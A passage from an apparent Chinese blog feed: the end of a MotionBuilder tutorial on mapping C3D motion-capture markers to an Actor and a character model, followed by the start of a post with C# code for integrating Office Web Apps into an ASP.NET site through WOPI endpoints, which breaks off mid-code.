不对齐,首先需要将使用平移、旋转和缩放工具将其对齐。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181137277752817.png" alt="" /></p><p>其中如果要调整所有运动捕捉点的话,可以点击上图中人脚下的白色球体,选中后会变为绿色,然后分别按T键、R键和S键可以分别实现平移、旋转和缩放。其中按R键后会出现如下图所示的界面。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181140105888511.png" alt="" /></p><p>其中红色、绿色、蓝色和褐色的圆圈为按不同方向进行调整,也可使用灰色的圆圈为任意方向。选中要调整的圆圈,其会变成白色,然后使用鼠标拖动即可,例如如下所示。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181141429163871.png" alt="" /></p><p>同样的,按T后会出现如下所示的界面,同样也是红、绿、蓝三个,分别点击移动鼠标调整即可。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181143318077604.png" alt="" /></p><p>当动作捕捉点整体与 Actor 在同一位置后,可以再调整身体上的部位,使得身体上的部位与捕捉点对应即可。为了便于调整也可以点击 Display 菜单,选择 X-Ray 模式,显示出 Actor 的骨骼来,然后点击骨骼也可以进行调整,方法与调整整体一样,只不过调整起来更复杂些罢了。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181413519636095.png" alt="" /></p><p>全部调整完后类似如下的效果:</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181155140415967.png" alt="" /></p><p>然后点击 Navigator 面板下的 Actors,选择 Actor,然后在右侧的 MarkerSet,然后点击 Create 即可,如下图所示。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181157395889902.png" alt="" /></p><p>然后在 Navigator 中将会出现 MarkerSet 一项,同时在&nbsp;Actor Settings 的 Actor 中出现一系列表示关节的圆圈,表示这个部位绑定的捕捉点数量,如下图。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181208192445283.png" alt="" /></p><p>其中各部位的名称如下,由于左右对称,所以只标注了一边:</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/182254423385897.png" alt="" /></p><p>接下来只需要选择捕捉点然后拖动到指定的圆圈中即可。选择的方法有两种:</p><ol><li>在视图中选中捕捉点显示的方块,可以按住空格键多选,然后按Alt键将其拖动到指定关节所表示的圆圈。</li><li>在 Navigator 中选择 Opticals,然后在其中找到导入的动作,比如这里叫&nbsp;C3D:optical,然后选中指定名称的捕捉点,可以按住Ctrl键多选,然后直接拖动到指定关节所表示的圆圈即可。</li></ol><p>其中我这里使用的捕捉点与骨骼的对应关系如下,参考了<a href="#link6">VICON的说明</a>。其实对应关系可以有不同的方式(<a href="#link3">相关链接3</a>、<a href="#link4">相关链接4</a>、<a href="#link5">相关链接5</a>),当然有时候因为数据也需要灵活调整,或者有些部位不绑定:</p><center><table style="width: 95%;" border="2" align="center"><tbody><tr><td style="width: 30%;"><strong>Actor 部位</strong></td><td><strong>C3D 捕捉点</strong></td></tr><tr><td>Head(头部)</td><td>LFHD(左太阳穴)、RFHD(右太阳穴)、LBH(左后脑)、RBHD(右后脑)</td></tr><tr><td>Chest(胸部)</td><td>C7(颈椎根部,脊椎第七节)、T10(背部中点,胸椎第十节)、CLAV(胸骨上端)、STRN(胸骨剑突位)、RBAC(右后背心)</td></tr><tr><td>Hips(臀部)</td><td>LFWT(髋骨左前方)、RFWT(髋骨右前方)、LBWT(左髂后上棘)、RBWT(右髂后上棘)</td></tr><tr><td>Left shoulder(左肩)</td><td>LSHO(左肩肩骨末端突出处)</td></tr><tr><td>Right shoulder(右肩)</td><td>RSHO(右肩肩骨末端突出处)</td></tr><tr><td>Left elbow(左手肘)</td><td>LELB(左手肘关节外围突出处(鹰嘴突))</td></tr><tr><td>Right elbow(右手肘)</td><td>RELB(右手肘关节外围突出处(鹰嘴突))</td></tr><tr><td>Left&nbsp;wrist(左手腕)</td><td><span>LWRA(左手手腕靠拇指端)、LWRB(左手手腕靠小指端)</span></td></tr><tr><td>Right&nbsp;wrist(右手腕)</td><td><span>RWRA(右手手腕靠拇指端)、RWRB(右手手腕靠小指端)</span></td></tr><tr><td>Left hand(左手)</td><td>LFIN(左手中指关节下方)</td></tr><tr><td>Right hand(右手)</td><td>RFIN(右手中指关节下方)</td></tr><tr><td>Left knee(左膝)</td><td>LKNE(左脚膝盖关节外缘)</td></tr><tr><td>Right knee(右膝)</td><td>RKNE(右脚膝盖关节外缘)</td></tr><tr><td>Left ankle(左脚踝)</td><td>LHEE(左脚脚后跟)</td></tr><tr><td>Right ankle(右脚踝)</td><td>RHEE(右脚脚后跟)</td></tr><tr><td>Left foot(左脚掌)</td><td>忽略</td></tr><tr><td>Right foot(右脚掌)</td><td>忽略</td></tr><tr><td>Left toe(左脚趾)</td><td>忽略</td></tr><tr><td>Right toe(右脚趾)</td><td>忽略&nbsp;</td></tr></tbody></table></center><p><span style="line-height: 1.5;">在绑定所有捕捉点后可以点击 Actor Settings 中的 Snap 按钮,此时 Snap 按钮左侧的选项将会勾上,即可完成绑定,现在点击播放按钮,Actor 就会随着捕捉点进行运动了,然后保存为fbx文件即可。</span></p><p>如果播放后发现绑定的效果不好,可以取消勾选 Snap 按钮左侧的选项,然后编辑后重新绑定,此时会出现如下的对话框,选择TR(Translate / Rotate)即可。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181334199474259.png" alt="" /></p><p>&nbsp;</p><p><a name="para4"></a><strong>【四、角色化模型】</strong></p><p>若要绑定到模型,首先需要把模型角色化,如果模型已经角色化过,可以跳过这节。首先打开一个模型,出现如下图所示:</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181316368858764.png" alt="" /></p><p>在 Character Controls 面板中点击 Defination,如果出现的如下图所示则表示没有角色化,如果模型已经角色化,则下图中左数第二个锁定图标应为锁定状态并且显示为灰色的骨骼应该显示为绿色。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181318592602502.png" alt="" /></p><p>绑定骨骼时只需要双击指定骨骼,然后除了该骨骼外的其他骨骼将会变暗,表示现在正在绑定该骨骼,然后在视图中点击对应的骨骼即可。比较智能的是,默认时左边数第三个图标&nbsp;<img src="http://images.cnitblog.com/i/495906/201404/181409210723254.png" alt="" /> Mirror Matching 是选中的,所以如果绑定了一边的骨骼,另一边会自动绑定,当然也可以手动将其去除。除此之外,点击手边和胸部的下三角还可以绑定更多骨骼,胳膊与腿旁边也有一些骨骼可以绑定,但这些骨骼不绑定也不会影响角色化。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181320580102557.png" alt="" /></p><p>在身体上的所有骨骼均绑定成功后,右上角验证状态(Validation status)的圆圈会变为绿色。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181406210578717.png" alt="" /></p><p>然后选择左数第二个&nbsp;<img src="http://images.cnitblog.com/i/495906/201404/181410403536865.png" alt="" />&nbsp;Lock Character,然后会出现如下图的对话框,选择Biped(两足动物)即可完成绑定。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181324552131223.png" alt="" /></p><p>&nbsp;</p><p><a name="para5"></a><strong>【五、绑定模型与Actor】</strong></p><p>在模型角色化以后就可以与之前绑定好动作的Actor进行绑定了,在MotionBuilder打开角色化后的模型后,选择 File -&gt; Merge,然后打开刚才保存的动作fbx文件,与打开的对话框稍有不同,直接点击 Merge 即可。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181420535579496.png" alt="" /></p><p>此时在视图中发现之前绑定好的 Actor 与当前模型在一起显示了,如下图:</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181422059007827.png" alt="" /></p><p>然后选择<span style="line-height: 1.5;">&nbsp;Character Controls 面板中的&nbsp;Source,然后选择 Actor 即可(如果没有角色化,则选择 Actor 时会提示错误),如下图:</span></p><p><span style="line-height: 1.5;"><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181422417134387.png" alt="" /></span></p><p>然后模型就会与之前绑定好动作的 Actor 一起动了,此时可以点击播放查看效果。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181423395724444.png" alt="" /></p><p>最后,点击 Character Controls 面板左侧的菜单,选择 Bake (Plot) -&gt; Bake (plot) To Skeleton 然后保存文件即可。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181426185721069.png" alt="" /></p><p>&nbsp;</p><p><strong>【相关链接】</strong></p><ol><li><a name="link1"></a>MotionBuilder基础(二):<a href="http://www.southcn.com/cartoon/campus/huale/200502211376.htm" target="_blank">http://www.southcn.com/cartoon/campus/huale/200502211376.htm</a></li><li><a name="link2"></a>?作?地之?域知?後??料分析?果:<a href="http://metadata.teldap.tw/project/filebox/dance/mid%20term%20paper.pdf" target="_blank">http://metadata.teldap.tw/project/filebox/dance/mid%20term%20paper.pdf</a></li><li><a name="link3"></a>Maya to MotionBuilder: Importing C3D and mapping Actor:<a href="http://gsfinalmajorproject.blogspot.com/2012/03/maya-to-motionbuilder-importing-c3d-and.html" target="_blank">http://gsfinalmajorproject.blogspot.com/2012/03/maya-to-motionbuilder-importing-c3d-and.html</a></li><li><a name="link4"></a>motionbuilder第三章:角色动画(六)映射光学运动数据:<a href="http://wenku.baidu.com/view/81c1da3e0912a216147929a0.html" target="_blank">http://wenku.baidu.com/view/81c1da3e0912a216147929a0.html</a></li><li><a name="link5"></a>Manual iQ - InteractFields:<a href="http://www.interactfields.com/aulas/cadmh/wp-content/uploads/2011/04/Manual_IQ.pdf" target="_blank">http://www.interactfields.com/aulas/cadmh/wp-content/uploads/2011/04/Manual_IQ.pdf</a></li><li><a name="link6"></a>Preparation v1.2:<a href="http://www.udel.edu/PT/Research/MAL/preparation_v1_2.pdf" target="_blank">http://www.udel.edu/PT/Research/MAL/preparation_v1_2.pdf</a></li></ol><img src="http://counter.cnblogs.com/blog/rss/3672764" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/mayswind/p/3672764.html" target="_blank">在MotionBuilder中绑定C3D动作和模型</a>,转载请注明。</p>http://www.cnblogs.com/majiang/p/3672976.htmlAsp.net与office web apps的整合 - dz45693其实网上有关officewebapp的整合已经有相关的文章了,典型的是如何整合Office Web Apps至自己开发的系统(一)和如何整合Office Web Apps至自己开发的系统(二),微软官网也有相应的demo。这里在简单描述一下原理吧:officewebapps(owas)扮演者一个客服...2014-04-18T14:54:00Z2014-04-18T14:54:00Zdz45693http://www.cnblogs.com/majiang/<p>其实网上有关office&nbsp;web&nbsp;app的整合已经有相关的文章了,典型的是<a id="cb_post_title_url" class="postTitle2" href="http://www.cnblogs.com/poissonnotes/p/3267190.html">如何整合Office Web Apps至自己开发的系统(一)</a>&nbsp;和<a id="cb_post_title_url" class="postTitle2" href="http://www.cnblogs.com/poissonnotes/p/3277280.html">如何整合Office Web Apps至自己开发的系统(二)</a>,微软官网也有相应的<a href="http://www.getcodesamples.com/src/8C525601">demo</a>。</p><p>这里在简单描述一下原理吧:office&nbsp;web&nbsp;apps(owas)扮演者一个客服端,它会访问我们asp.net&nbsp;站点的文件然后呈现出来。而我们常用的API主要有如下3个:</p><p>GET api/wopi/files/{name}?access_token={access_token} &nbsp;&nbsp;&nbsp; <br />GET api/wopi/files/{name}/contents?access_token={access_token} &nbsp;&nbsp; &nbsp;<br />POST api/wopi/files/{name}/contents?access_token={access_token}</p><p>至于每个API做什么&nbsp;这里就不多说,第一个是owas&nbsp;检查文件,传递的信息是json数据格式,第二个是owas获取文件流,第三个是owas&nbsp;post的文件流(保存修改文件)。首先我们来看看第一个API的实现:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> [Route(<span style="color: #800000;">"</span><span style="color: #800000;">files/{name}/</span><span style="color: #800000;">"</span><span style="color: #000000;">)]<br/> </span><span style="color: #0000ff;">public</span> CheckFileInfo GetFileInfo(<span style="color: #0000ff;">string</span> name, <span style="color: #0000ff;">string</span><span style="color: #000000;"> access_token)<br/> {<br/> Validate(name, access_token);<br/> </span><span style="color: #0000ff;">var</span> fileInfo =<span style="color: #000000;"> _fileHelper.GetFileInfo(name);<br/> </span><span style="color: #0000ff;">bool</span> updateEnabled = <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">if</span> (<span style="color: #0000ff;">bool</span>.TryParse(WebConfigurationManager.AppSettings[<span style="color: #800000;">"</span><span style="color: #800000;">updateEnabled</span><span style="color: #800000;">"</span>].ToString(), <span style="color: #0000ff;">out</span><span style="color: #000000;"> updateEnabled))<br/> {<br/> fileInfo.SupportsUpdate </span>=<span style="color: #000000;"> updateEnabled;<br/> fileInfo.UserCanWrite </span>=<span style="color: #000000;"> updateEnabled;<br/> fileInfo.SupportsLocks </span>=<span style="color: #000000;"> updateEnabled;<br/> }<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> fileInfo;<br/> }</span></div><p>这里的<span style="color: #000000;"> Validate(name, access_token)&nbsp;方法主要是验证请求的文件名name与参数<span style="color: #000000;">access_token</span>是否一致,主要是验证是否是非法访问,返回一个CheckFileInfo对象,CheckFileInfo的定义如下:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> <span style="color: #0000ff;">public</span> <span style="color: #0000ff;">class</span><span style="color: #000000;"> CheckFileInfo<br/> {<br/> </span><span style="color: #0000ff;">public</span><span style="color: #000000;"> CheckFileInfo()<br/> {<br/> </span><span style="color: #0000ff;">this</span>.SupportsUpdate = <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">this</span>.UserCanWrite = <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> BaseFileName { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> OwnerId { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">long</span> Size { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span>; } <span style="color: #008000;">//</span><span style="color: #008000;">in bytes</span><br/> <span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> SHA256 { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span>; } <span style="color: #008000;">//</span><span style="color: #008000;">SHA256: A 256 bit SHA-2-encoded [FIPS180-2] hash of the file contents</span><br/> <span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> Version { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span>; } <span style="color: #008000;">//</span><span style="color: #008000;">changes when file changes.</span><br/> <span style="color: #0000ff;">public</span> <span style="color: #0000ff;">bool</span> SupportsUpdate { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">bool</span> UserCanWrite { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">bool</span> SupportsLocks { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/> }</span></div><p>现在在来看看第二个api的实现,主要返回对应文件的数据流:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> [Route(<span style="color: #800000;">"</span><span style="color: #800000;">files/{name}/contents</span><span style="color: #800000;">"</span><span style="color: #000000;">)]<br/> </span><span style="color: #0000ff;">public</span> HttpResponseMessage Get(<span style="color: #0000ff;">string</span> name, <span style="color: #0000ff;">string</span><span style="color: #000000;"> access_token)<br/> {<br/> </span><span style="color: #0000ff;">try</span><span style="color: #000000;"><br/> {<br/> Validate(name, access_token);<br/> </span><span style="color: #0000ff;">var</span> file = HostingEnvironment.MapPath(<span style="color: #800000;">"</span><span style="color: #800000;">~/App_Data/</span><span style="color: #800000;">"</span> +<span style="color: #000000;"> name);<br/> </span><span style="color: #0000ff;">var</span> responseMessage = <span style="color: #0000ff;">new</span><span style="color: #000000;"> HttpResponseMessage(HttpStatusCode.OK);<br/> </span><span style="color: #0000ff;">var</span> stream = <span style="color: #0000ff;">new</span><span style="color: #000000;"> FileStream(file, FileMode.Open, FileAccess.Read);<br/> responseMessage.Content </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> StreamContent(stream);<br/> responseMessage.Content.Headers.ContentType </span>= <span style="color: #0000ff;">new</span> MediaTypeHeaderValue(<span style="color: #800000;">"</span><span style="color: #800000;">application/octet-stream</span><span style="color: #800000;">"</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> responseMessage;<br/> }<br/> </span><span style="color: #0000ff;">catch</span><span style="color: #000000;"> (Exception ex)<br/> {<br/> </span><span style="color: #0000ff;">var</span> errorResponseMessage = <span style="color: #0000ff;">new</span><span style="color: #000000;"> HttpResponseMessage(HttpStatusCode.InternalServerError);<br/> </span><span style="color: #0000ff;">var</span> stream = <span style="color: #0000ff;">new</span> MemoryStream(UTF8Encoding.Default.GetBytes(ex.Message ?? <span style="color: #800000;">""</span><span style="color: #000000;">));<br/> errorResponseMessage.Content </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> StreamContent(stream);<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> errorResponseMessage;<br/> }<br/> }</span></div><p>而第三个api是将返回的数据流保存到物理文件:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"> [Route(<span style="color: #800000;">"</span><span style="color: #800000;">files/{name}/contents</span><span style="color: #800000;">"</span><span style="color: #000000;">)]<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">async</span> <span style="color: #0000ff;">void</span> Post(<span style="color: #0000ff;">string</span> name, [FromUri] <span style="color: #0000ff;">string</span><span style="color: #000000;"> access_token)<br/> {<br/> </span><span style="color: #0000ff;">var</span> body = <span style="color: #0000ff;">await</span><span style="color: #000000;"> Request.Content.ReadAsByteArrayAsync();<br/> </span><span style="color: #0000ff;">var</span> appData = HostingEnvironment.MapPath(<span style="color: #800000;">"</span><span style="color: #800000;">~/App_Data/</span><span style="color: #800000;">"</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">var</span> fileExt = name.Substring(name.LastIndexOf(<span style="color: #800000;">'</span><span style="color: #800000;">.</span><span style="color: #800000;">'</span>) + <span style="color: #800080;">1</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">var</span> outFile =<span style="color: #000000;"> Path.Combine(appData,name);<br/> File.WriteAllBytes(outFile, body);<br/> }</span></div><p>现在我们再来看看如何请求owas,也就是对应的url是怎么产生的。例如我的owas&nbsp;server是owas.contoso.com,那么我们在配置好owas后就可以访问http://owas.contoso.com/hosting/discovery 如图:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182141352134488.png" alt="" /></p><p>&nbsp;这里我们以excel为例&nbsp;&nbsp;<span style="color: #ff0000;">大家看到上面有view、edit、mobileview三个action,这里的app是一个excel,我们知道我们物理文件的后缀找到相应的app,在根据我们系统的配置采用edit还是view&nbsp;action,如果是pdf&nbsp;我们只能采用对应的view,如果请求是mobile发起的话, 那么我们只能用mobileview。&nbsp;找到相应的action后我们就获取到对应的urlsrc属性,这里我们实际需要的url地址是 http://owas.contoso.com/x/_layouts/xlviewerinternal.aspx这个东东</span>。那么获取这个url的代码如下:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('eb09a97d-53bb-4b84-b084-2b5204781abb')"><div id="cnblogs_code_open_eb09a97d-53bb-4b84-b084-2b5204781abb" class="cnblogs_code_hide"> <span style="color: #0000ff;">public</span> <span style="color: #0000ff;">class</span><span style="color: #000000;"> LinkController : ApiController<br/> {<br/> </span><span style="color: #808080;">///</span> <span style="color: #808080;">&lt;summary&gt;</span><br/> <span style="color: #808080;">///</span><span style="color: #008000;"> Provides a link that can be used to Open a document in the relative viewer<br/> </span><span style="color: #808080;">///</span><span style="color: #008000;"> from the Office Web Apps server<br/> </span><span style="color: #808080;">///</span> <span style="color: #808080;">&lt;/summary&gt;</span><br/> <span style="color: #808080;">///</span> <span style="color: #808080;">&lt;param name="fileRequest"&gt;</span><span style="color: #008000;">indicates the request type</span><span style="color: #808080;">&lt;/param&gt;</span><br/> <span style="color: #808080;">///</span> <span style="color: #808080;">&lt;returns&gt;</span><span style="color: #008000;">A link usable for HREF</span><span style="color: #808080;">&lt;/returns&gt;</span><br/> <span style="color: #0000ff;">public</span><span style="color: #000000;"> Link GetLink([FromUri] FileRequest fileRequest)<br/> {<br/> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (ModelState.IsValid)<br/> {<br/> </span><span style="color: #0000ff;">var</span> xml = WebConfigurationManager.AppSettings[<span style="color: #800000;">"</span><span style="color: #800000;">appDiscoveryXml</span><span style="color: #800000;">"</span><span style="color: #000000;">];<br/> </span><span style="color: #0000ff;">var</span> wopiServer = WebConfigurationManager.AppSettings[<span style="color: #800000;">"</span><span style="color: #800000;">appWopiServer</span><span style="color: #800000;">"</span><span style="color: #000000;">];<br/> </span><span style="color: #0000ff;">bool</span> updateEnabled = <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">bool</span>.TryParse(WebConfigurationManager.AppSettings[<span style="color: #800000;">"</span><span style="color: #800000;">updateEnabled</span><span style="color: #800000;">"</span>], <span style="color: #0000ff;">out</span><span style="color: #000000;"> updateEnabled);<br/> WopiAppHelper wopiHelper </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> WopiAppHelper(HostingEnvironment.MapPath(xml), updateEnabled);<br/><br/> </span><span style="color: #0000ff;">var</span> result = wopiHelper.GetDocumentLink(wopiServer +<span style="color: #000000;"> fileRequest.name);<br/><br/> </span><span style="color: #0000ff;">var</span> rv = <span style="color: #0000ff;">new</span><span style="color: #000000;"> Link<br/> {<br/> Url </span>=<span style="color: #000000;"> result<br/> };<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> rv;<br/> }<br/><br/> </span><span style="color: #0000ff;">throw</span> <span style="color: #0000ff;">new</span> ApplicationException(<span style="color: #800000;">"</span><span style="color: #800000;">Invalid ModelState</span><span style="color: #800000;">"</span><span style="color: #000000;">);<br/> }<br/> }<br/><br/></span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">class</span><span style="color: #000000;"> WopiAppHelper<br/> {<br/> </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> _discoveryFile;<br/> </span><span style="color: #0000ff;">bool</span> _updateEnabled = <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/> WopiHost.wopidiscovery _wopiDiscovery;<br/><br/> </span><span style="color: #0000ff;">public</span> WopiAppHelper(<span style="color: #0000ff;">string</span><span style="color: #000000;"> discoveryXml)<br/> {<br/> _discoveryFile </span>=<span style="color: #000000;"> discoveryXml;<br/><br/> </span><span style="color: #0000ff;">using</span> (StreamReader file = <span style="color: #0000ff;">new</span><span style="color: #000000;"> StreamReader(discoveryXml))<br/> {<br/> XmlSerializer reader </span>= <span style="color: #0000ff;">new</span> XmlSerializer(<span style="color: #0000ff;">typeof</span><span style="color: #000000;">(WopiHost.wopidiscovery));<br/> </span><span style="color: #0000ff;">var</span> wopiDiscovery = reader.Deserialize(file) <span style="color: #0000ff;">as</span><span style="color: #000000;"> WopiHost.wopidiscovery;<br/> _wopiDiscovery </span>=<span style="color: #000000;"> wopiDiscovery;<br/> }<br/> }<br/><br/> </span><span style="color: #0000ff;">public</span> WopiAppHelper(<span style="color: #0000ff;">string</span> discoveryXml, <span style="color: #0000ff;">bool</span><span style="color: #000000;"> updateEnabled)<br/> : </span><span style="color: #0000ff;">this</span><span style="color: #000000;">(discoveryXml)<br/> {<br/> _updateEnabled </span>=<span style="color: #000000;"> updateEnabled;<br/> }<br/><br/> </span><span style="color: #0000ff;">public</span> WopiHost.wopidiscoveryNetzoneApp GetZone(<span style="color: #0000ff;">string</span><span style="color: #000000;"> AppName)<br/> {<br/> </span><span style="color: #0000ff;">var</span> rv = _wopiDiscovery.netzone.app.Where(c =&gt; c.name ==<span style="color: #000000;"> AppName).FirstOrDefault();<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> rv;<br/> }<br/><br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> GetDocumentLink(<span style="color: #0000ff;">string</span><span style="color: #000000;"> wopiHostandFile)<br/> {<br/> </span><span style="color: #0000ff;">var</span> fileName = wopiHostandFile.Substring(wopiHostandFile.LastIndexOf(<span style="color: #800000;">'</span><span style="color: #800000;">/</span><span style="color: #800000;">'</span>) + <span style="color: #800080;">1</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">var</span> accessToken =<span style="color: #000000;"> GetToken(fileName);<br/> </span><span style="color: #0000ff;">var</span> fileExt = fileName.Substring(fileName.LastIndexOf(<span style="color: #800000;">'</span><span style="color: #800000;">.</span><span style="color: #800000;">'</span>) + <span style="color: #800080;">1</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">var</span> netzoneApp =<span style="color: #000000;"> _wopiDiscovery.netzone.app.AsEnumerable()<br/> .Where(c </span>=&gt; c.action.Where(d =&gt; d.ext == fileExt).Count() &gt; <span style="color: #800080;">0</span><span style="color: #000000;">);<br/><br/> </span><span style="color: #0000ff;">var</span> appName =<span style="color: #000000;"> netzoneApp.FirstOrDefault();<br/><br/> </span><span style="color: #0000ff;">if</span> (<span style="color: #0000ff;">null</span> == appName) <span style="color: #0000ff;">throw</span> <span style="color: #0000ff;">new</span> ArgumentException(<span style="color: #800000;">"</span><span style="color: #800000;">invalid file extension </span><span style="color: #800000;">"</span> +<span style="color: #000000;"> fileExt);<br/><br/> </span><span style="color: #0000ff;">var</span> rv =<span style="color: #000000;"> GetDocumentLink(appName.name, fileExt, wopiHostandFile, accessToken);<br/><br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> rv;<br/> }<br/><br/> </span><span style="color: #0000ff;">string</span> GetToken(<span style="color: #0000ff;">string</span><span style="color: #000000;"> fileName)<br/> {<br/> KeyGen keyGen </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> KeyGen();<br/> </span><span style="color: #0000ff;">var</span> rv =<span style="color: #000000;"> keyGen.GetHash(fileName);<br/><br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> HttpUtility.UrlEncode(rv);<br/> }<br/><br/> </span><span style="color: #0000ff;">const</span> <span style="color: #0000ff;">string</span> s_WopiHostFormat = <span style="color: #800000;">"</span><span style="color: #800000;">{0}?WOPISrc={1}&amp;access_token={2}</span><span style="color: #800000;">"</span><span style="color: #000000;">;<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">HACK:</span><br/> <span style="color: #0000ff;">const</span> <span style="color: #0000ff;">string</span> s_WopiHostFormatPdf = <span style="color: #800000;">"</span><span style="color: #800000;">{0}?PdfMode=1&amp;WOPISrc={1}&amp;access_token={2}</span><span style="color: #800000;">"</span><span style="color: #000000;">;<br/><br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> GetDocumentLink(<span style="color: #0000ff;">string</span> appName, <span style="color: #0000ff;">string</span> fileExtension, <span style="color: #0000ff;">string</span> wopiHostAndFile, <span style="color: #0000ff;">string</span><span style="color: #000000;"> accessToken)<br/> {<br/> </span><span style="color: #0000ff;">var</span> wopiHostUrlsafe = HttpUtility.UrlEncode(wopiHostAndFile.Replace(<span style="color: #800000;">"</span> <span style="color: #800000;">"</span>, <span style="color: #800000;">"</span><span style="color: #800000;">%20</span><span style="color: #800000;">"</span><span style="color: #000000;">));<br/> </span><span style="color: #0000ff;">var</span> appStuff = _wopiDiscovery.netzone.app.Where(c =&gt; c.name ==<span style="color: #000000;"> appName).FirstOrDefault();<br/><br/> </span><span style="color: #0000ff;">if</span> (<span style="color: #0000ff;">null</span> ==<span style="color: #000000;"> appStuff)<br/> </span><span style="color: #0000ff;">throw</span> <span style="color: #0000ff;">new</span> ApplicationException(<span style="color: #800000;">"</span><span style="color: #800000;">Can't locate App: </span><span style="color: #800000;">"</span> +<span style="color: #000000;"> appName);<br/><br/> </span><span style="color: #0000ff;">var</span> action = _updateEnabled ? <span style="color: #800000;">"</span><span style="color: #800000;">edit</span><span style="color: #800000;">"</span> : <span style="color: #800000;">"</span><span style="color: #800000;">view</span><span style="color: #800000;">"</span><span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">if</span> (appName.Equals(<span style="color: #800000;">"</span><span style="color: #800000;">WordPdf</span><span style="color: #800000;">"</span><span style="color: #000000;">))<br/> {<br/> action </span>= <span style="color: #800000;">"</span><span style="color: #800000;">view</span><span style="color: #800000;">"</span><span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (HttpContext.Current.Request.Browser.IsMobileDevice)<br/> {<br/> action </span>= <span style="color: 